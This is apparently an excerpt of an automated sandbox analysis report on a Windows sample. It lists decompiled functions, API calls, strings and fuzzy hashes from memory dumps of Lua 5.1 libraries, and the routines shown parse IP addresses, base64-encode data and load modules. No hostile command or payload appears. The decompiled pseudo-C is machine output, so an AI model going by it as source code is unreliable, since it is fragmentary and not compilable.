Instruction Fuzzy Hash: 1211C3B2D0022A4BE308CF58D88185BFBA8FB452E4756066EE4149B747D632FD8587D1

Uniqueness

Uniqueness Score: -1.00%

Function 1000CBA0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

luaF_newproto.LUA5.1(00000000,?,?,1000CB93,00000000,00000000,?,1001993C,00000002,?), ref: 1000CBA9

Part of subcall function 100062A0: luaM_realloc_.LUA5.1(?,00000000,00000000,0000004C), ref: 100062AE

luaD_growstack.LUA5.1(?,00000001), ref: 1000CBD3

Strings

bad code, xrefs: 1000CC50

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: D_growstack.F_newproto.M_realloc_.
String ID: bad code
API String ID: 2501599383-3738743346
Opcode ID: 8bcb897ad9e69e181f4f638200d680ea9dddbc8d12cab5cf0d02253d9867620f
Instruction ID: eb0202550fd063fa77665b7e79eddc7d1a6c8a9b7e1a0bf1130befeb07ddf487
Opcode Fuzzy Hash: 8bcb897ad9e69e181f4f638200d680ea9dddbc8d12cab5cf0d02253d9867620f
Instruction Fuzzy Hash: BC21B0789017556FE310CB7DCC46D4ABBE8EF46284704042AF448E7307EB75F8058BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00591980, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00591980(char* _a4, intOrPtr* _a8) {
				char _v4;
				char _v8;
				char _v12;
				signed int _v16;
				char _v20;
				intOrPtr _t23;
				signed int _t24;
				intOrPtr _t31;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr _t38;
				char* _t39;
				intOrPtr* _t40;

				_t39 = _a4;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v4 = 0;
				_v20 = 0;
				if(sscanf(_t39, "%u.%u.%u.%u%n",  &_v16,  &_v12,  &_v8,  &_v4,  &_v20) == 0) {
					L10:
					return 0;
				} else {
					_t23 = _v20;
					if(_t23 == 0 ||  *((intOrPtr*)(_t23 + _t39)) != 0) {
						goto L10;
					} else {
						_t24 = _v16;
						if(_t24 > 0xff) {
							goto L10;
						} else {
							_t38 = _v12;
							if(_t38 > 0xff) {
								goto L10;
							} else {
								_t37 = _v8;
								if(_t37 > 0xff) {
									goto L10;
								} else {
									_t35 = _v4;
									if(_t35 > 0xff) {
										goto L10;
									} else {
										_t40 = _a8;
										if(_t40 != 0) {
											_t31 = (((_t24 << 8) + _t38 << 8) + _t37 << 8) + _t35;
											_push(_t31);
											L00594A34();
											 *_t40 = _t31;
										}
										return 1;
									}
								}
							}
						}
					}
				}
			}

0x00591985
0x005919ab
0x005919af
0x005919b3
0x005919b7
0x005919bb
0x005919ca
0x00591a35
0x00591a3b
0x005919cc
0x005919cc
0x005919d2
0x00000000
0x005919d9
0x005919d9
0x005919e2
0x00000000
0x005919e4
0x005919e4
0x005919ee
0x00000000
0x005919f0
0x005919f0
0x005919fa
0x00000000
0x005919fc
0x005919fc
0x00591a06
0x00000000
0x00591a08
0x00591a08
0x00591a0e
0x00591a1d
0x00591a1f
0x00591a20
0x00591a25
0x00591a25
0x00591a32
0x00591a32
0x00591a06
0x005919fa
0x005919ee
0x005919e2
0x005919d2

APIs

sscanf.MSVCRT ref: 005919BF
htonl.WSOCK32(?), ref: 00591A20

Strings

%u.%u.%u.%u%n, xrefs: 005919A5

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: htonlsscanf
String ID: %u.%u.%u.%u%n
API String ID: 2020779984-154050584
Opcode ID: 875b56fa1dd56cdf121ee10dde52dc69acd76338a2ff9aeef364c48fe31aa89c
Instruction ID: a1fe776f0ba731ced2674a794a37f9258e603dd1e78e56e7931bd0b21629784f
Opcode Fuzzy Hash: 875b56fa1dd56cdf121ee10dde52dc69acd76338a2ff9aeef364c48fe31aa89c
Instruction Fuzzy Hash: 38118CB2A092135BDB10DE18C880AAABBE5FFC4350F88493EF585C3541D274DD4A8BA6

Uniqueness

Uniqueness Score: -1.00%

Function 005C13B0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E005C13B0(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v1;
				char _v2;
				char _v3;
				char _v4;
				void* _t24;

				_v4 = 0x3d;
				_v3 = 0x3d;
				_v2 = 0x3d;
				_v1 = 0x3d;
				_t24 = _a8 - 1;
				if(_t24 == 0) {
					_push(4);
					_v3 =  *((intOrPtr*)(0x2d + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
					_push( &_v4);
					_push(_a12);
					_v4 =  *((intOrPtr*)((0 << 4 >> 6) + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
					L005C2144();
					goto L4;
				} else {
					if(_t24 != 1) {
						L4:
						return 0;
					} else {
						_push(4);
						_v2 =  *((intOrPtr*)(0x2d + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
						_v3 =  *((intOrPtr*)(0x2d + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
						_push( &_v4);
						_push(_a12);
						_v4 =  *((intOrPtr*)((0 << 2 >> 6 >> 6) + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
						L005C2144();
						return 0;
					}
				}
			}

0x005c13b3
0x005c13b7
0x005c13bb
0x005c13bf
0x005c13c7
0x005c13c8
0x005c142d
0x005c144c
0x005c1454
0x005c1455
0x005c1456
0x005c145a
0x00000000
0x005c13ca
0x005c13cb
0x005c1462
0x005c1465
0x005c13d1
0x005c13d7
0x005c13f6
0x005c1409
0x005c1415
0x005c1416
0x005c1417
0x005c141b
0x005c1426
0x005c1426
0x005c13cb

APIs

luaL_addlstring.LUA5.1(?,?,00000004,?,005C128B,?,00000000,?), ref: 005C141B
luaL_addlstring.LUA5.1(?,?,00000004,?,005C128B,?,00000000,?), ref: 005C145A

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 005C13EB, 005C13FD, 005C1403, 005C143C, 005C1446

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: L_addlstring.
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
API String ID: 2501753795-1713319389
Opcode ID: 3da6da16c4f8ec9f599db56ead917cd4b3ca6a0c85460ac9b4238b458ead6b9a
Instruction ID: d0e480760134cec1c6be324ad2f71b87419219018488afb5433df4c4d1009647
Opcode Fuzzy Hash: 3da6da16c4f8ec9f599db56ead917cd4b3ca6a0c85460ac9b4238b458ead6b9a
Instruction Fuzzy Hash: 7D118E5221D3C6AED709DB6984559ABBFE19AE7200F1CC99DF5C98B302E034C90AD722

Uniqueness

Uniqueness Score: -1.00%

Function 005C2070, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E005C2070(char _a4, char _a8, char _a12) {
				char _t7;
				intOrPtr _t19;
				void* _t21;
				intOrPtr* _t22;
				void* _t23;

				_t1 =  &_a12; // 0x5c202e
				_t22 =  *_t1;
				_t21 = _t22 + 0x20c;
				if( *_t22 >= _t21) {
					_push(_t22);
					L005C210E();
					_t23 = _t23 + 4;
				}
				_t7 = _a4;
				 *((char*)( *_t22)) = _t7;
				_t19 =  *_t22 + 1;
				 *_t22 = _t19;
				if(_t7 == 0xa) {
					_t5 =  &_a8; // 0x5c202e
					asm("sbb eax, eax");
					return ( ~( *_t5 - 1) & 0x000000fe) + 2;
				} else {
					if(_t7 == 0xd) {
						return 1;
					} else {
						if(_t7 == 0x2e && _a8 == 2) {
							if(_t19 >= _t21) {
								_push(_t22);
								L005C210E();
							}
							 *((char*)( *_t22)) = 0x2e;
							 *_t22 =  *_t22 + 1;
						}
						return 0;
					}
				}
			}

0x005c2071
0x005c2071
0x005c2078
0x005c2080
0x005c2082
0x005c2083
0x005c2088
0x005c2088
0x005c208d
0x005c2091
0x005c2095
0x005c2099
0x005c209b
0x005c20d2
0x005c20db
0x005c20e2
0x005c209d
0x005c20a0
0x005c20d1
0x005c20a2
0x005c20a5
0x005c20b0
0x005c20b2
0x005c20b3
0x005c20b8
0x005c20bd
0x005c20c3
0x005c20c3
0x005c20c9
0x005c20c9
0x005c20a0

APIs

luaL_prepbuffer.LUA5.1(. \,00000000,00000001,005C202E,00000000,00000000,?), ref: 005C2083
luaL_prepbuffer.LUA5.1(. \,00000000,00000001), ref: 005C20B3

Strings

. \, xrefs: 005C2071, 005C20D2, 005C2082, 005C20B2

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: L_prepbuffer.
String ID: . \
API String ID: 279711102-986418053
Opcode ID: 9b83711e4113c8c2d8bbaa544ad318da3d6d02e86f7721bc2dbd3f71294d31f4
Instruction ID: 2dcd1bf5b22b42ad7465c71e6d886aba2fcb24131fe72a05eb42ca1dc63fdc55
Opcode Fuzzy Hash: 9b83711e4113c8c2d8bbaa544ad318da3d6d02e86f7721bc2dbd3f71294d31f4
Instruction Fuzzy Hash: C40171B52056518FCB31CF68E485A9ABBE1FFA9310F280D5EE0D5E3201D365E886C782

Uniqueness

Uniqueness Score: -1.00%

Function 005C19D0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E005C19D0(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _t16;
				intOrPtr* _t23;
				void* _t24;
				intOrPtr _t25;
				void* _t26;

				_t25 = _a8;
				_t24 = 0;
				if(_t25 <= 0) {
					L10:
					return 0;
				}
				_t23 = _a12;
				_t16 = _a4;
				do {
					_t9 =  *(_t24 + _t16);
					_t5 = ( *(_t24 + _t16) & 0x000000ff) + 0x5c41c0; // 0x1010101
					if( *_t5 != 0) {
						E005C1950(_t9, _t23);
						_t26 = _t26 + 8;
					} else {
						_t6 = _t23 + 0x20c; // 0x20c
						if( *_t23 >= _t6) {
							_push(_t23);
							L005C210E();
							_t26 = _t26 + 4;
						}
						 *((char*)( *_t23)) =  *(_t24 + _t16);
						 *_t23 =  *_t23 + 1;
					}
					_t24 = _t24 + 1;
				} while (_t24 < _t25);
				if(_t25 > 0) {
					_push("=");
					_push(_t23);
					L005C2114();
				}
				goto L10;
			}

0x005c19d1
0x005c19d6
0x005c19db
0x005c1a42
0x005c1a45
0x005c1a45
0x005c19dd
0x005c19e2
0x005c19e6
0x005c19e6
0x005c19f1
0x005c19f9
0x005c1a20
0x005c1a25
0x005c19fb
0x005c19fd
0x005c1a05
0x005c1a07
0x005c1a08
0x005c1a0d
0x005c1a0d
0x005c1a15
0x005c1a1a
0x005c1a1a
0x005c1a28
0x005c1a29
0x005c1a30
0x005c1a32
0x005c1a37
0x005c1a38
0x005c1a3d
0x00000000

APIs

luaL_prepbuffer.LUA5.1(00000000,00000000,00000000,00000000,?,005C17D8,?,00000000,?), ref: 005C1A08
luaL_addstring.LUA5.1(00000000,=,?), ref: 005C1A38

Strings

=, xrefs: 005C1A32

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: L_addstring.L_prepbuffer.
String ID: =
API String ID: 989049566-2257139842
Opcode ID: 890a4631cd9d385d0075231c75d6c09eb5280859770275e492347669b069cbac
Instruction ID: 96440fae6221872e270f490387036522b3f48a7c23b9969567447757f5bb1833
Opcode Fuzzy Hash: 890a4631cd9d385d0075231c75d6c09eb5280859770275e492347669b069cbac
Instruction Fuzzy Hash: 29014731505B465FC3119ED59C90FA7BFA8FF97300F28042CE9C597203E222A816C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 10007620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

luaM_realloc_.LUA5.1(?,?,?,00000000,00000000,?,00000000,100075FF,?,00000000,?,100075AF,?,?), ref: 10007663
luaM_toobig.LUA5.1(?,00000000,?,00000000,100075FF,?,00000000,?,100075AF,?,?), ref: 10007671

Strings

lexical element too long, xrefs: 1000763D

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: M_realloc_.M_toobig.
String ID: lexical element too long
API String ID: 1500966413-2211481722
Opcode ID: 0fdd3acc8e9552ae593bfdbfaaefcf6af881351f5db8c5b199c33dc9a9d50cb2
Instruction ID: a64d94777a3fb231be14ea0ee7d1044f15f71529d3cc61b79fd5a3ec6f1b47d6
Opcode Fuzzy Hash: 0fdd3acc8e9552ae593bfdbfaaefcf6af881351f5db8c5b199c33dc9a9d50cb2
Instruction Fuzzy Hash: 6E0192B9604B019FE724CF28D8C0C46B7E9FF996507108A4DE9AA8739AD731F840CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1000D1B0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

sprintf.MSVCRT ref: 1000D1D8
luaS_newlstr.LUA5.1(?,?,?,?,1000D97C,?,?,00000001,?,?,?,00000002,?,?,?), ref: 1000D1F7

Strings

%.14g, xrefs: 1000D1D2

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.sprintf
String ID: %.14g
API String ID: 3483616938-3267037135
Opcode ID: b7f0746b69dc39c67ad82dfb76160247b26b59b1a91bddec414257c297a87485
Instruction ID: 2030cfe5979dcaa70cee576e1ceb7cdc2e3b47b3405cb7bc8523b5a1518ef6c1
Opcode Fuzzy Hash: b7f0746b69dc39c67ad82dfb76160247b26b59b1a91bddec414257c297a87485
Instruction Fuzzy Hash: ACF0F076410200AFE314EF69CC85AABB7F4EF88300F808A1DF4E592194E670E588CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10004F40, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

luaS_newlstr.LUA5.1(?,not enough memory,00000011,10005036,?,?,?,?,?,?), ref: 10004F6E

Strings

error in error handling, xrefs: 10004F68
not enough memory, xrefs: 10004F5F

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.
String ID: error in error handling$not enough memory
API String ID: 2716169249-1496530364
Opcode ID: 6b620e55b3ada0f4fa314da9f47ec17a3eb0204bc5fb1aff4dfe7f3f53da39d0
Instruction ID: a1e4107c3046c4e8b512e2d413ee08323b8fdd7f985e473f43963a74a6efa17e
Opcode Fuzzy Hash: 6b620e55b3ada0f4fa314da9f47ec17a3eb0204bc5fb1aff4dfe7f3f53da39d0
Instruction Fuzzy Hash: 4AF08CB6604712AFD300CF19E884A8AF7E0EB85360B16896DF69897395C370E8818B85

Uniqueness

Uniqueness Score: -1.00%

Function 00591250, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00591250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v48;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t13;
				void* _t14;
				intOrPtr _t15;

				_t11 = _a8;
				_t15 = _a4;
				_t13 = _a12;
				_t14 = E005912D0(_t6, _t15, _t11, _t13);
				if(_t14 == 0) {
					sprintf( &_v48, "%.35s expected", _t11);
					_push( &_v48);
					_push(_t13);
					_push(_t15);
					L00594B2A();
				}
				return _t14;
			}

0x00591254
0x00591259
0x0059125f
0x0059126b
0x00591272
0x0059127f
0x00591289
0x0059128a
0x0059128b
0x0059128c
0x00591291
0x0059129d

APIs

Part of subcall function 005912D0: lua_getmetatable.LUA5.1(?,?,?,?,0059126B,?,?,?), ref: 005912DC

sprintf.MSVCRT ref: 0059127F
luaL_argerror.LUA5.1(?,?,?), ref: 0059128C

Strings

%.35s expected, xrefs: 00591279

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.lua_getmetatable.sprintf
String ID: %.35s expected
API String ID: 3016483422-1101262856
Opcode ID: 44be53cd1fa1bee2a23b1366a229d08352770861c31a80e60e7fa1fdfef3c82f
Instruction ID: 9d8121dbfb3071f0dc6a821e9e43ed1377fcad3bb13b49afefff66b7e3eef0fa
Opcode Fuzzy Hash: 44be53cd1fa1bee2a23b1366a229d08352770861c31a80e60e7fa1fdfef3c82f
Instruction Fuzzy Hash: 86E0AB376002293F8A10B78A8C49E9BFBBCF9D4760F800919FE1493101F024BC1887F2

Uniqueness

Uniqueness Score: -1.00%

Function 00591200, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00591200(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v48;
				intOrPtr _t10;
				intOrPtr _t12;
				void* _t13;
				intOrPtr _t14;

				_t10 = _a8;
				_t14 = _a4;
				_t12 = _a12;
				_t13 = E00591330(_t14, _t10, _t12);
				if(_t13 == 0) {
					sprintf( &_v48, "%.35s expected", _t10);
					_push( &_v48);
					_push(_t12);
					_push(_t14);
					L00594B2A();
				}
				return _t13;
			}

0x00591204
0x00591209
0x0059120f
0x0059121b
0x00591222
0x0059122f
0x00591239
0x0059123a
0x0059123b
0x0059123c
0x00591241
0x0059124d

APIs

Part of subcall function 00591330: luaL_checkudata.LUA5.1(?,?,?,0059121B,?,?,?), ref: 0059133F

sprintf.MSVCRT ref: 0059122F
luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

Strings

%.35s expected, xrefs: 00591229

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checkudata.sprintf
String ID: %.35s expected
API String ID: 64916251-1101262856
Opcode ID: 25fc3be4a00f208f18aaadf5feea7bd0d79f7ebb2b7d49f27b87af04c5fbbb93
Instruction ID: 492ccfcd6cac6b4b3f280c08b04bdb683837f5aff6324a19fbeb2c3b47ae6e47
Opcode Fuzzy Hash: 25fc3be4a00f208f18aaadf5feea7bd0d79f7ebb2b7d49f27b87af04c5fbbb93
Instruction Fuzzy Hash: 94E0E5336002253F8A10A6899C49E5FFBBCE9D5761F800919FE5593101F125BC1987F2

Uniqueness

Uniqueness Score: -1.00%

Function 100163A0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 100163AB

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

Part of subcall function 100163F0: luaL_gsub.LUA5.1(?,?,1001939C,1001A8F0,?,?,?,?,100163BC,?,00000000,path,?,00000001,00000000), ref: 10016408
Part of subcall function 100163F0: lua_getfield.LUA5.1(?,FFFFD8EF,?,?,?,1001939C,1001A8F0,?,?,?,?,100163BC,?,00000000,path,?), ref: 1001641A
Part of subcall function 100163F0: lua_tolstring.LUA5.1(?,000000FF,00000000,?,FFFFD8EF,?,?,?,1001939C,1001A8F0,?,?,?,?,100163BC,?), ref: 10016424
Part of subcall function 100163F0: luaL_error.LUA5.1(?,'package.%s' must be a string,?), ref: 10016439
Part of subcall function 100163F0: lua_pushlstring.LUA5.1(?,1001AB10,00000000), ref: 10016449
Part of subcall function 100163F0: lua_tolstring.LUA5.1(?,000000FF,00000000,10019034,00000000), ref: 10016469
Part of subcall function 100163F0: luaL_gsub.LUA5.1(?,00000000,?,10019034,00000000), ref: 10016473
Part of subcall function 100163F0: lua_remove.LUA5.1(?,000000FE,?,00000000,?,10019034,00000000), ref: 1001647D
Part of subcall function 100163F0: lua_pushfstring.LUA5.1(?,no file '%s',00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 10016496
Part of subcall function 100163F0: lua_remove.LUA5.1(?,000000FE,?,no file '%s',00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 1001649E
Part of subcall function 100163F0: lua_concat.LUA5.1(?,00000002,?,000000FE,?,no file '%s',00000000), ref: 100164A6

luaL_loadfile.LUA5.1(?,00000000), ref: 100163C7

Part of subcall function 1000FD30: lua_gettop.LUA5.1(?), ref: 1000FD42
Part of subcall function 1000FD30: lua_pushlstring.LUA5.1(?,=stdin,00000006), ref: 1000FD76
Part of subcall function 1000FD30: getc.MSVCRT(00000000), ref: 1000FD8E
Part of subcall function 1000FD30: getc.MSVCRT(?), ref: 1000FDA5
Part of subcall function 1000FD30: getc.MSVCRT(?), ref: 1000FDB9
Part of subcall function 1000FD30: getc.MSVCRT(?), ref: 1000FDCD
Part of subcall function 1000FD30: fclose.MSVCRT ref: 1000FDF4
Part of subcall function 1000FD30: fopen.MSVCRT ref: 1000FE00

Part of subcall function 10016560: lua_tolstring.LUA5.1(?,000000FF,00000000,?,100163DA,?,00000000), ref: 1001656A
Part of subcall function 10016560: lua_tolstring.LUA5.1(?,00000001,00000000,?,00000000,100163DA,?,00000000), ref: 1001657D
Part of subcall function 10016560: luaL_error.LUA5.1(?,error loading module '%s' from file '%s':%s,00000000,?,?,00000000,100163DA,?,00000000), ref: 1001658C

Strings

path, xrefs: 100163B0

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_tolstring.$getc$L_error.L_gsub.lua_pushlstring.lua_remove.$L_checklstring.L_loadfile.fclosefopenlua_concat.lua_getfield.lua_gettop.lua_pushfstring.
String ID: path
API String ID: 3350879039-190089999
Opcode ID: bfcedf265091e346f81d13871c5effd5e0b284f922afac5d3c00ba15a8292f9e
Instruction ID: 96e5524b2ea6dd18f12a8da337860bfaa997c924cfc69f17c3eaeac9104399d8
Opcode Fuzzy Hash: bfcedf265091e346f81d13871c5effd5e0b284f922afac5d3c00ba15a8292f9e
Instruction Fuzzy Hash: D2E0C23B95152032E512911D7C06FDF249DCFD6691F450029FD04AE246EAA9FBD381F7

Uniqueness

Uniqueness Score: -1.00%

Function 10012C90, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

luaL_checkudata.LUA5.1(?,00000001,FILE*), ref: 10012C9E

Part of subcall function 1000F370: lua_touserdata.LUA5.1(?,?), ref: 1000F37E
Part of subcall function 1000F370: lua_getmetatable.LUA5.1(?,?), ref: 1000F392
Part of subcall function 1000F370: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F3A5
Part of subcall function 1000F370: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?), ref: 1000F3AF
Part of subcall function 1000F370: lua_settop.LUA5.1(?,000000FD), ref: 1000F3BE

_pclose.MSVCRT ref: 10012CA8

Part of subcall function 10012160: _errno.MSVCRT ref: 10012161
Part of subcall function 10012160: lua_pushboolean.LUA5.1(?,00000001), ref: 10012178

Strings

FILE*, xrefs: 10012C96

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkudata._errno_pcloselua_getfield.lua_getmetatable.lua_pushboolean.lua_rawequal.lua_settop.lua_touserdata.
String ID: FILE*
API String ID: 2167973285-3635956593
Opcode ID: f334c259699b0a1801fbed89a4b57433d25d33b23fe8ca064f4cfcd0b22c0fc7
Instruction ID: 2b06076d5a8a6548df330f6bd70ca0592250cc2781c72a0009aa92acf92d3ab0
Opcode Fuzzy Hash: f334c259699b0a1801fbed89a4b57433d25d33b23fe8ca064f4cfcd0b22c0fc7
Instruction Fuzzy Hash: 2EE0CDB62001107BD2209B2CAC45F5F72FCEF86630F14051DF155D71D1D2B0DCC18660

Uniqueness

Uniqueness Score: -1.00%

Function 10012690, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

fscanf.MSVCRT ref: 100126A2
lua_pushnumber.LUA5.1(?,00000000,?), ref: 100126BF

Strings

%lf, xrefs: 1001269C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: fscanflua_pushnumber.
String ID: %lf
API String ID: 65929279-2891890143
Opcode ID: 1b3c85390884bc265a72f12abc6793d9d3fc7707c6268349c6746777b983fc11
Instruction ID: 91bebd8714f4cc53cdae1c762f5db95c17c590065d56022bbe3e28d47b60da66
